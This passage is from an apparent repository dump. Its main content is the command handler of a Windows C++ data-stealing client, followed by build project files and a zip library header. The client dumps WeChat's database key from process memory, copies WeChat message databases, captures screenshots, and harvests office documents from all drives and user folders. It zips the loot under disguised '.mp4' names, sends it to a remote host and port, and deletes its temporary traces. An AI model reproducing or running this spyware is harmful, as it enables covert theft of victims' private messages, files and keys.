 681 | 					lstrcpy(source, filename);
 682 | 					lstrcpy(target, tempdir);
 683 | 					lstrcat(source, "\\*.*");
 684 | 					lstrcat(target, "\\");
 685 | 
 686 | 
 687 | 					memset(source, '0', sizeof(source));
 688 | 					lstrcpy(source, filename);
 689 | 					lstrcat(source, "\\");
 690 | 					lstrcat(source, findfiledate.cFileName);
 691 | 					lstrcat(target, findfiledate.cFileName);
 692 | 					CopyFile(source, target, TRUE);//直接调用文件复制函数
 693 | 				// count++;
 694 | 				}
 695 | 			}
 696 | 			else
 697 | 			{
 698 | 				if (findfiledate.cFileName[0] != '.')
 699 | 				{
 700 | 					strcpy(_lpFileName, filename);
 701 | 					strcat(_lpFileName, (const char*)findfiledate.cFileName);
 702 | 					FindFile(_lpFileName, pfilter, fname, tempdir);
 703 | 				}
 704 | 			}
 705 | 		} while (FindNextFile(hfind, &findfiledate));
 706 | 		FindClose(hfind);
 707 | 
 708 | }
 709 | 
 710 | 
 711 | 
 712 | 
 713 | 
 714 | 
 715 | 
 716 | 
 717 | int main(int argc, char* argv[])
 718 | {
 719 | 
 720 | 	string passwd = argv[argc - 1];
 721 | 	//printf(passwd.c_str());
 722 | 	
 723 | 	//if (strcmp(passwd.c_str(), "x") != 0) {
 724 | 	///	exit(0);
 725 | 	//}
 726 | 
 727 | 
 728 | 	if (argc < 2) {
 729 | 		return -1;
 730 | 	}
 731 | 
 732 | 
 733 | 
 734 | 	if (strcmp(argv[1], "-h") == 0) {
 735 | 		printf("[+] %s dumpkey \n", argv[0]);
 736 | 		printf("[+] %s photo 127.0.0.1 8888  \n", argv[0]);
 737 | 		printf("[+] %s search d:\\ .docx \n", argv[0]);
 738 | 		printf("[+] %s send 127.0.0.1 8888 \n", argv[0]);
 739 | 		printf("[+] %s send 127.0.0.1 8888 vxpath\n", argv[0]);
 740 | 		printf("[+] %s upload path 127.0.0.1 8888 \n", argv[0]);
 741 | 		printf("[+] %s uploads path 127.0.0.1 8888 \n", argv[0]);
 742 | 		printf("[+] %s all 127.0.0.1 8888 \n", argv[0]);
 743 | 		printf("[+] %s user 127.0.0.1 8888 \n", argv[0]);
 744 | 		return -1;
 745 | 	}
 746 | 
 747 | 	const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" };
 748 | 	//const char* filetype[] = { ".bat" };
 749 | 	int length = size(filetype); // 
 750 | 	char value[256] = { 0 };
 751 | 	vector<string> fileNames;
 752 | 
 753 | 	static TCHAR tempzip[MAX_PATH];
 754 | 
 755 | 
 756 | 	WORD wVersionRequested = MAKEWORD(2, 0); // 套接字版本
 757 | 	WSADATA data;
 758 | 	int nRes = ::WSAStartup(wVersionRequested, &data);
 759 | 
 760 | 
 761 | 	char HostName[128];
 762 | 	gethostname(HostName, sizeof(HostName));// 获得本机主机名.
 763 | 	hostent* hn;
 764 | 	hn = gethostbyname(HostName);//根据本机主机名得到本机ip
 765 | 	char *chIP = inet_ntoa(*(struct in_addr *)hn->h_addr_list[0]);//把ip换成字符串形式
 766 | 	::WSACleanup();
 767 | 
 768 | 
 769 | 	if (strcmp(argv[1], "search") == 0)
 770 | 	{
 771 | 
 772 | 		char szLogicalDriveStrings[BUFSIZE];
 773 | 		DWORD iLength;
 774 | 		int iSub;
 775 | 
 776 | 
 777 | 		iLength = GetLogicalDriveStringsA(BUFSIZE - 1, szLogicalDriveStrings);
 778 | 
 779 | 
 780 | 		for (iSub = 0; iSub < iLength; iSub += 4)
 781 | 		{
 782 | 		//	if (GetDriveType((LPCSTR)szLogicalDriveStrings + iSub) != 3)
 783 | 		//		continue;
 784 | 			printf(szLogicalDriveStrings + iSub);
 785 | 		}
 786 | 		printf("\n");
 787 | 
 788 | 		const char *str7 = argv[2];
 789 | 		fname = argv[3];
 790 | 		OneFile((char *)str7, (char *)"*.*");
 791 | 
 792 | 		return 0;
 793 | 
 794 | 	}
 795 | 
 796 | 
 797 | 	if (strcmp(argv[1], "dumpkey") == 0) {
 798 | 
 799 | 		getPath(value);             //获取数据库位置
 800 | 		WSADATA wsaData;
 801 | 		int err = WSAStartup(MAKEWORD(2, 0), &wsaData);
 802 | 		if (err != 0)
 803 | 		{
 804 | 			std::cout << "web error" << std::endl;
 805 | 			return err;
 806 | 		}
 807 | 
 808 | 		DWORD procId = GetProcessID(_T("WeChat.exe"));
 809 | 		if (procId <= 0)
 810 | 		{
 811 | 			std::cout << "Wechat Process not found" << std::endl;
 812 | 			return 0;
 813 | 		}
 814 | 		std::cout << "[*] Found Wechat Process Pid:" << procId << std::endl;
 815 | 		OpenWechatProc(procId);//请注意：本次更新过webhttp函数
 816 | 		std::cout << "[*] Save DBPass.Bin" << std::endl;
 817 | 		std::cout << "[*] Done." << std::endl;
 818 | 
 819 | 
 820 | 
 821 | 
 822 | 	}
 823 | 
 824 | 	if (strcmp(argv[1], "upload") == 0)
 825 | 
 826 | 	{
 827 | 		char name[20];
 828 | 		//char *file = randstr(name, 7);
 829 | 		WORD wVersionRequested = MAKEWORD(2, 0);
 830 | 		WSADATA data;
 831 | 
 832 | 
 833 | 		char strBuffer[256] = { 0 };
 834 | 		strcat_s(HostName, "_");
 835 | 		char fn[30], *p;
 836 | 
 837 | 		strcpy(fn, (p = strrchr(argv[2], '\\')) ? p + 1 : argv[3]); //获取文件名
 838 | 		//printf("%s\n", fn);
 839 | 		strcat_s(HostName, fn);
 840 | 		//strcat_s(HostName, argv[2]);
 841 | 		strcat_s(HostName, ".mp4");
 842 | 		printf("%s...\n", HostName);
 843 | 		DWORD zResult = ZR_OK;
 844 | 		HZIP hz = CreateZip(HostName, 0);
 845 | 
 846 | 		zResult = ZipAdd(hz, fn, argv[2]);
 847 | 		CloseZip(hz);
 848 | 
 849 | 		if (argv[4]) {
 850 | 			send_file(HostName, argv[3], (u_short)atoi(argv[4]));
 851 | 
 852 | 		}
 853 | 
 854 | 
 855 | 		if (remove(HostName) == 0)
 856 | 		{
 857 | 			cout << "remove SucessFul" << endl;
 858 | 		}
 859 | 
 860 | 
 861 | 
 862 | 	}
 863 | 
 864 | 	if (strcmp(argv[1], "all") == 0) {
 865 | 		static TCHAR tempzip[MAX_PATH];
 866 | 		char szLogicalDriveStrings[BUFSIZE];
 867 | 		DWORD iLength;
 868 | 		int iSub;
 869 | 
 870 | 		char strTmpPath[MAX_PATH];
 871 | 		static TCHAR tempdir[MAX_PATH];
 872 | 
 873 | 		// 创建临时文件夹
 874 | 
 875 | 		// char   tempdir[MAX_PATH];
 876 | 		_getcwd(tempdir, MAX_PATH);
 877 | 		lstrcat(tempdir, "\\wpsoffice");
 878 | 		_mkdir(tempdir);
 879 | 
 880 | 
 881 | 		char strBuffer[256] = { 0 };
 882 | 		//DWORD dwSize = 256;
 883 | 		//GetUserName(strBuffer, &dwSize);
 884 | 		strcat_s(HostName, "_");
 885 | 		strcat_s(HostName, chIP);
 886 | 		strcat_s(HostName, "_file");
 887 | 		strcat_s(HostName, ".mp4");
 888 | 
 889 | 
 890 | 		ZeroMemory(szLogicalDriveStrings, BUFSIZE);
 891 | 		iLength = GetLogicalDriveStringsA(BUFSIZE - 1, szLogicalDriveStrings);
 892 | 		for (iSub = 0; iSub < iLength; iSub += 4)
 893 | 		{
 894 | 			for (int i = 0; i < length; i++)
 895 | 			{
 896 | 				if (strcmp(szLogicalDriveStrings + iSub, "C:\\") == 0) {
 897 | 					break;
 898 | 				}
 899 | 				else
 900 | 				{
 901 | 					//printf("%s", szLogicalDriveStrings + iSub);
 902 | 					FindFile((char *)szLogicalDriveStrings + iSub, (char *)"*.*", (char *)filetype[i], tempdir);
 903 | 				}
 904 | 			}
 905 | 
 906 | 		}
 907 | 
 908 | 
 909 | 		strcat_s(tempzip, HostName);
 910 | 		strcat_s(tempzip, "_work_file");
 911 | 		strcat_s(tempzip, ".mp4");
 912 | 		printf(tempzip);
 913 | 		DWORD zResult = ZR_OK;
 914 | 		HZIP hz = CreateZip(tempzip, 0);
 915 | 		LPCTSTR lpszSrcPath = tempdir;
 916 | 		zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
 917 | 		CloseZip(hz);
 918 | 		if (argv[3]) {
 919 | 			send_file(tempzip, argv[2], (u_short)atoi(argv[3]));
 920 | 
 921 | 		}
 922 | 		if (remove(tempzip) == 0)
 923 | 		{
 924 | 			cout << "remove SucessFul" << endl;
 925 | 		}
 926 | 		string ml = "";
 927 | 		ml = "rmdir /s/q \"";
 928 | 		ml += tempdir;
 929 | 		system(ml.c_str());
 930 | 
 931 | 
 932 | 
 933 | 	}
 934 | 
 935 | 	if (strcmp(argv[1], "photo") == 0) 
 936 | 	{
 937 | 		char name[20];
 938 | 		static TCHAR yXFHRONr[MAX_PATH];
 939 | 		std::string logoStr = "_____________________\r\n"
 940 | 		"\\______   \\__    ___/___ _____    _____\r\n"
 941 | 			"|    |  _/ |    |_/ __ \\\\__  \\  /     \\\r\n"
 942 | 			"|       \\ |    |\\  ___/ / __ \\|  Y Y  \\\r\n"
 943 | 			"|____|   / |____| \\___  >____  /__|_|  /\r\n"
 944 | 			"\\/             \\/     \\/      \\/\r\n";
 945 | 
 946 | 
 947 | 		std::cout << logoStr << std::endl;
 948 | 		char *exe = randstr(name, 7);
 949 | 		strcat_s(yXFHRONr, exe);
 950 | 		strcat_s(yXFHRONr, TEXT("_WeiXin.png"));
 951 | 		LPCTSTR imageName = (LPCTSTR)yXFHRONr;
 952 | 		ScreenCapture(imageName);
 953 | 
 954 | 		printf("Open Current Path %s........\n", imageName);
 955 | 		printf("Start Send........\n");
 956 | 
 957 | 		if (argv[3]) {
 958 | 			send_file(imageName, argv[2], (u_short)atoi(argv[3]));
 959 | 
 960 | 		}
 961 | 
 962 | 
 963 | 		if (remove(imageName) == 0)
 964 | 		{
 965 | 			cout << "remove SucessFul" << endl;
 966 | 		}
 967 | 
 968 | 
 969 | 	}
 970 | 
 971 | 
 972 | 	if (strcmp(argv[1], "uploads") == 0)
 973 | 	{
 974 | 		if (argv[2]) {
 975 | 
 976 | 			fileNames.push_back(argv[2]);
 977 | 
 978 | 			
 979 | 			string vx_image = fileNames.front();
 980 | 			printf(vx_image.c_str());
 981 | 
 982 | 
 983 | 			strcat_s(tempzip, HostName);
 984 | 			strcat_s(tempzip, "_upload_file.zip");
 985 | 			DWORD zResult = ZR_OK;
 986 | 			HZIP hz = CreateZip(tempzip, 0);
 987 | 			LPCTSTR lpszSrcPath = (LPCTSTR)vx_image.c_str();
 988 | 			zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
 989 | 			CloseZip(hz);
 990 | 			send_file(tempzip, argv[3], (u_short)atoi(argv[4]));
 991 | 			if (remove(tempzip) == 0)
 992 | 			{
 993 | 				cout << "remove SucessFul" << endl;
 994 | 			}
 995 | 		}
 996 | 
 997 | 
 998 | 	}
 999 | 
1000 | 
1001 | 
1002 | 
1003 | 
1004 | 	if (strcmp(argv[1], "send") == 0) {
1005 | 
1006 | 
1007 | 		char source[1000];
1008 | 		char target[1000];
1009 | 		char target1[1000];
1010 | 		char target2[1000];
1011 | 
1012 | 		char   tempdir[MAX_PATH];
1013 | 		_getcwd(tempdir, MAX_PATH);
1014 | 		lstrcat(tempdir, "\\result");
1015 | 		_mkdir(tempdir);
1016 | 
1017 | 
1018 | 		if (argv[4]) {
1019 | 
1020 | 			fileNames.push_back(argv[4]);
1021 | 		}
1022 | 		else
1023 | 		{
1024 | 			getPath(value);             //获取数据库位置
1025 | 
1026 | 			getFileNames(value, fileNames);
1027 | 		}
1028 | 
1029 | 
1030 | 
1031 | 
1032 | 		strcat_s(HostName, "_vxdb_");
1033 | 		strcat_s(HostName, chIP);
1034 | 		strcat_s(HostName, ".mp4");
1035 | 		
1036 | 		const char* filetypex[] = { "MSG0.db","MSG1.db" ,"MSG2.db", }; //"\\Msg\\MicroMsg.db"
1037 | 		char fn[30], *p;
1038 | 
1039 | 		
1040 | 		printf("Wechat Plugin:%s\n", fileNames.front().c_str());
1041 | 		string vxdb = fileNames.front() +"\\Msg\\Multi\\";
1042 | 		string MicroMsg = fileNames.front() + "\\Msg\\MicroMsg.db";
1043 | 		for (int i = 0; i < 3; i++)
1044 | 		{
1045 | 
1046 | 			string wxdb = vxdb + (char *)filetypex[i];
1047 | 
1048 | 			lstrcpy(target, tempdir);
1049 | 			lstrcat(target, "\\");
1050 | 
1051 | 
1052 | 
1053 | 			lstrcat(target, (char *)filetypex[i]);
1054 | 			if  (_access(wxdb.c_str(), 0) == 0)
1055 | 			{
1056 | 				printf("%s\n", target);
1057 | 			}
1058 | 			
1059 | 			CopyFile((LPCSTR)wxdb.c_str(), target, TRUE);
1060 | 
1061 | 			//zResult = ZipAdd(hz, filetype[i], wxdb.c_str());
1062 | 			//CloseZip(hz);
1063 | 			//cout << target << endl;
1064 | 		}
1065 | 		lstrcpy(target1, tempdir);
1066 | 		lstrcat(target1, "\\MicroMsg.db");
1067 | 		printf("%s\n", target1);
1068 | 		CopyFile((LPCSTR)MicroMsg.c_str(), target1, TRUE);
1069 | 		//zResult = ZipAdd(hz, "DBPass.Bin", "DBPass.Bin");
1070 | 		strcat_s(tempzip, HostName);
1071 | 		char buffer[MAX_PATH];
1072 | 		_getcwd(buffer, MAX_PATH);
1073 | 		lstrcat(buffer, "\\DBPass.Bin");
1074 | 		lstrcpy(target2, tempdir);
1075 | 		lstrcat(target2, "\\DBPass.Bin");
1076 | 		printf("%s\n", target2);
1077 | 		CopyFile((LPCSTR)buffer, target2, TRUE);
1078 | 		DWORD zResult = ZR_OK;
1079 | 		HZIP hz = CreateZip(tempzip, 0);
1080 | 		LPCTSTR lpszSrcPath = tempdir;
1081 | 		zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
1082 | 		CloseZip(hz);
1083 | 		printf("Start Send........\n");
1084 | 		send_file(tempzip, argv[2], (u_short)atoi(argv[3]));      
1085 | 		if (remove(tempzip) == 0)
1086 | 		{
1087 | 			cout << "remove SucessFul" << endl;
1088 | 		}
1089 | 		return 0;
1090 | 	}
1091 | 
1092 | 	if (strcmp(argv[1], "user") == 0) {
1093 | 		static TCHAR tempzip[MAX_PATH];
1094 | 		static TCHAR tempdd[MAX_PATH];
1095 | 		_getcwd(tempdd, MAX_PATH);
1096 | 		lstrcat(tempdd, "\\userfile");
1097 | 		_mkdir(tempdd);
1098 | 
1099 | 		//TCHAR path[255];
1100 | 		//获取当前用户的桌面路径
1101 | 		//SHGetSpecialFolderPath(0, path, CSIDL_DESKTOPDIRECTORY, 0);
1102 | 
1103 | 		for (int i = 0; i < length; i++) {
1104 | 			FindFile((char *)"C:\\Users", (char *)"*.*", (char *)filetype[i], tempdd);
1105 | 		}
1106 | 
1107 | 		char strBuffer[256] = { 0 };
1108 | 		//DWORD dwSize = 256;
1109 | 		//GetUserName(strBuffer, &dwSize);
1110 | 		strcat_s(HostName, "_");
1111 | 		strcat_s(HostName, chIP);
1112 | 		strcat_s(HostName, "_userfile");
1113 | 		strcat_s(HostName, ".mp4");
1114 | 
1115 | 
1116 | 		strcat_s(tempzip, HostName);
1117 | 		strcat_s(tempzip, "_work_file");
1118 | 		strcat_s(tempzip, ".mp4");
1119 | 		printf(tempzip);
1120 | 		DWORD zResult = ZR_OK;
1121 | 		HZIP hz = CreateZip(tempzip, 0);
1122 | 		LPCTSTR lpszSrcPath = tempdd;
1123 | 		zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
1124 | 		CloseZip(hz);
1125 | 		if (argv[3]) {
1126 | 			send_file(tempzip, argv[2], (u_short)atoi(argv[3]));
1127 | 
1128 | 		}
1129 | 		if (remove(tempzip) == 0)
1130 | 		{
1131 | 			cout << "remove SucessFul" << endl;
1132 | 		}
1133 | 
1134 | 		string ml = "";
1135 | 		ml = "rmdir /s/q \"";
1136 | 		ml += tempdd;
1137 | 		system(ml.c_str());
1138 | 	}
1139 | 
1140 | }
1141 | 
1142 | void getFileNames(string path, vector<string>& files)
1143 | {
1144 | 	intptr_t hFile = 0;
1145 | 	//文件信息
1146 | 	struct _finddata_t fileinfo;
1147 | 	string p;
1148 | 	string::size_type idx;
1149 | 
1150 | 	if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1)
1151 | 	{
1152 | 		do
1153 | 		{
1154 | 			//如果是目录,匹配文件夹
1155 | 			if ((fileinfo.attrib & _A_SUBDIR))
1156 | 			{
1157 | 				if (strstr(fileinfo.name, "wxid") != NULL)
1158 | 					files.push_back(p.assign(path).append("\\").append(fileinfo.name));
1159 | 			}
1160 | 
1161 | 		} while (_findnext(hFile, &fileinfo) == 0);
1162 | 		_findclose(hFile);
1163 | 	}
1164 | }
1165 | 


--------------------------------------------------------------------------------
/FileUpload/Client/Client.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>15.0</VCProjectVersion>
 23 |     <ProjectGuid>{7F97B6A1-DA10-43B2-BB56-72C45538CF80}</ProjectGuid>
 24 |     <Keyword>Win32Proj</Keyword>
 25 |     <RootNamespace>ShellcodeRun</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0.14393.0</WindowsTargetPlatformVersion>
 27 |     <ProjectName>FileSearch</ProjectName>
 28 |   </PropertyGroup>
 29 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 30 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 31 |     <ConfigurationType>Application</ConfigurationType>
 32 |     <UseDebugLibraries>true</UseDebugLibraries>
 33 |     <PlatformToolset>v141</PlatformToolset>
 34 |     <CharacterSet>Unicode</CharacterSet>
 35 |   </PropertyGroup>
 36 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 37 |     <ConfigurationType>Application</ConfigurationType>
 38 |     <UseDebugLibraries>false</UseDebugLibraries>
 39 |     <PlatformToolset>v141</PlatformToolset>
 40 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 41 |     <CharacterSet>Unicode</CharacterSet>
 42 |   </PropertyGroup>
 43 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 44 |     <ConfigurationType>Application</ConfigurationType>
 45 |     <UseDebugLibraries>true</UseDebugLibraries>
 46 |     <PlatformToolset>v141</PlatformToolset>
 47 |     <CharacterSet>MultiByte</CharacterSet>
 48 |   </PropertyGroup>
 49 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 50 |     <ConfigurationType>Application</ConfigurationType>
 51 |     <UseDebugLibraries>false</UseDebugLibraries>
 52 |     <PlatformToolset>v141</PlatformToolset>
 53 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 54 |     <CharacterSet>MultiByte</CharacterSet>
 55 |   </PropertyGroup>
 56 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 57 |   <ImportGroup Label="ExtensionSettings">
 58 |   </ImportGroup>
 59 |   <ImportGroup Label="Shared">
 60 |   </ImportGroup>
 61 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 62 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 63 |   </ImportGroup>
 64 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 65 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 66 |   </ImportGroup>
 67 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 68 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 69 |   </ImportGroup>
 70 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 71 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 72 |   </ImportGroup>
 73 |   <PropertyGroup Label="UserMacros" />
 74 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 75 |     <LinkIncremental>true</LinkIncremental>
 76 |   </PropertyGroup>
 77 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 78 |     <LinkIncremental>true</LinkIncremental>
 79 |     <GenerateManifest>false</GenerateManifest>
 80 |   </PropertyGroup>
 81 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 82 |     <LinkIncremental>false</LinkIncremental>
 83 |   </PropertyGroup>
 84 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 85 |     <LinkIncremental>false</LinkIncremental>
 86 |     <GenerateManifest>false</GenerateManifest>
 87 |   </PropertyGroup>
 88 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 89 |     <ClCompile>
 90 |       <PrecompiledHeader>
 91 |       </PrecompiledHeader>
 92 |       <WarningLevel>Level3</WarningLevel>
 93 |       <Optimization>Disabled</Optimization>
 94 |       <SDLCheck>true</SDLCheck>
 95 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 96 |       <ConformanceMode>true</ConformanceMode>
 97 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
 98 |     </ClCompile>
 99 |     <Link>
100 |       <SubSystem>Console</SubSystem>
101 |       <GenerateDebugInformation>true</GenerateDebugInformation>
102 |     </Link>
103 |   </ItemDefinitionGroup>
104 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
105 |     <ClCompile>
106 |       <PrecompiledHeader>
107 |       </PrecompiledHeader>
108 |       <WarningLevel>Level3</WarningLevel>
109 |       <Optimization>Disabled</Optimization>
110 |       <SDLCheck>true</SDLCheck>
111 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
112 |       <ConformanceMode>true</ConformanceMode>
113 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
114 |       <ExceptionHandling>false</ExceptionHandling>
115 |     </ClCompile>
116 |     <Link>
117 |       <SubSystem>Console</SubSystem>
118 |       <GenerateDebugInformation>false</GenerateDebugInformation>
119 |     </Link>
120 |   </ItemDefinitionGroup>
121 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
122 |     <ClCompile>
123 |       <PrecompiledHeader>
124 |       </PrecompiledHeader>
125 |       <WarningLevel>Level3</WarningLevel>
126 |       <Optimization>MaxSpeed</Optimization>
127 |       <FunctionLevelLinking>true</FunctionLevelLinking>
128 |       <IntrinsicFunctions>true</IntrinsicFunctions>
129 |       <SDLCheck>true</SDLCheck>
130 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
131 |       <ConformanceMode>true</ConformanceMode>
132 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
133 |     </ClCompile>
134 |     <Link>
135 |       <SubSystem>Console</SubSystem>
136 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
137 |       <OptimizeReferences>true</OptimizeReferences>
138 |       <GenerateDebugInformation>true</GenerateDebugInformation>
139 |     </Link>
140 |   </ItemDefinitionGroup>
141 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
142 |     <ClCompile>
143 |       <PrecompiledHeader>
144 |       </PrecompiledHeader>
145 |       <WarningLevel>Level3</WarningLevel>
146 |       <Optimization>MaxSpeed</Optimization>
147 |       <FunctionLevelLinking>true</FunctionLevelLinking>
148 |       <IntrinsicFunctions>true</IntrinsicFunctions>
149 |       <SDLCheck>true</SDLCheck>
150 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
151 |       <ConformanceMode>true</ConformanceMode>
152 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
153 |     </ClCompile>
154 |     <Link>
155 |       <SubSystem>Console</SubSystem>
156 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
157 |       <OptimizeReferences>true</OptimizeReferences>
158 |       <GenerateDebugInformation>false</GenerateDebugInformation>
159 |     </Link>
160 |   </ItemDefinitionGroup>
161 |   <ItemGroup>
162 |     <ClCompile Include="Client.cpp" />
163 |     <ClCompile Include="unzip.cpp" />
164 |     <ClCompile Include="zip.cpp" />
165 |   </ItemGroup>
166 |   <ItemGroup>
167 |     <ClInclude Include="unzip.h" />
168 |     <ClInclude Include="zip.h" />
169 |   </ItemGroup>
170 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
171 |   <ImportGroup Label="ExtensionTargets">
172 |   </ImportGroup>
173 | </Project>


--------------------------------------------------------------------------------
/FileUpload/Client/Client.vcxproj.user:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


--------------------------------------------------------------------------------
/FileUpload/Client/unzip.h:
--------------------------------------------------------------------------------
  1 | #ifndef _unzip_H
  2 | #define _unzip_H
  3 | 
  4 | // UNZIPPING functions -- for unzipping.
  5 | // This file is a repackaged form of extracts from the zlib code available
  6 | // at www.gzip.org/zlib, by Jean-Loup Gailly and Mark Adler. The original
  7 | // copyright notice may be found in unzip.cpp. The repackaging was done
  8 | // by Lucian Wischik to simplify and extend its use in Windows/C++. Also
  9 | // encryption and unicode filenames have been added.
 10 | 
 11 | 
 12 | #ifndef _zip_H
 13 | DECLARE_HANDLE(HZIP);
 14 | #endif
 15 | // An HZIP identifies a zip file that has been opened
 16 | 
 17 | typedef DWORD ZRESULT;
 18 | // return codes from any of the zip functions. Listed later.
 19 | 
 20 | typedef struct
 21 | { int index;                 // index of this file within the zip
 22 |   TCHAR name[MAX_PATH];      // filename within the zip
 23 |   DWORD attr;                // attributes, as in GetFileAttributes.
 24 |   FILETIME atime,ctime,mtime;// access, create, modify filetimes
 25 |   long comp_size;            // sizes of item, compressed and uncompressed. These
 26 |   long unc_size;             // may be -1 if not yet known (e.g. being streamed in)
 27 | } ZIPENTRY;
 28 | 
 29 | 
 30 | HZIP OpenZip(const TCHAR *fn, const char *password);
 31 | HZIP OpenZip(void *z,unsigned int len, const char *password);
 32 | HZIP OpenZipHandle(HANDLE h, const char *password);
 33 | // OpenZip - opens a zip file and returns a handle with which you can
 34 | // subsequently examine its contents. You can open a zip file from:
 35 | // from a pipe:             OpenZipHandle(hpipe_read,0);
 36 | // from a file (by handle): OpenZipHandle(hfile,0);
 37 | // from a file (by name):   OpenZip("c:\\test.zip","password");
 38 | // from a memory block:     OpenZip(bufstart, buflen,0);
 39 | // If the file is opened through a pipe, then items may only be
 40 | // accessed in increasing order, and an item may only be unzipped once,
 41 | // although GetZipItem can be called immediately before and after unzipping
 42 | // it. If it's opened in any other way, then full random access is possible.
 43 | // Note: pipe input is not yet implemented.
 44 | // Note: zip passwords are ascii, not unicode.
 45 | // Note: for windows-ce, you cannot close the handle until after CloseZip.
 46 | // but for real windows, the zip makes its own copy of your handle, so you
 47 | // can close yours anytime.
 48 | 
 49 | ZRESULT GetZipItem(HZIP hz, int index, ZIPENTRY *ze);
 50 | // GetZipItem - call this to get information about an item in the zip.
 51 | // If index is -1 and the file wasn't opened through a pipe,
 52 | // then it returns information about the whole zipfile
 53 | // (and in particular ze.index returns the number of index items).
 54 | // Note: the item might be a directory (ze.attr & FILE_ATTRIBUTE_DIRECTORY)
 55 | // See below for notes on what happens when you unzip such an item.
 56 | // Note: if you are opening the zip through a pipe, then random access
 57 | // is not possible and GetZipItem(-1) fails and you can't discover the number
 58 | // of items except by calling GetZipItem on each one of them in turn,
 59 | // starting at 0, until eventually the call fails. Also, in the event that
 60 | // you are opening through a pipe and the zip was itself created into a pipe,
 61 | // then then comp_size and sometimes unc_size as well may not be known until
 62 | // after the item has been unzipped.
 63 | 
 64 | ZRESULT FindZipItem(HZIP hz, const TCHAR *name, bool ic, int *index, ZIPENTRY *ze);
 65 | // FindZipItem - finds an item by name. ic means 'insensitive to case'.
 66 | // It returns the index of the item, and returns information about it.
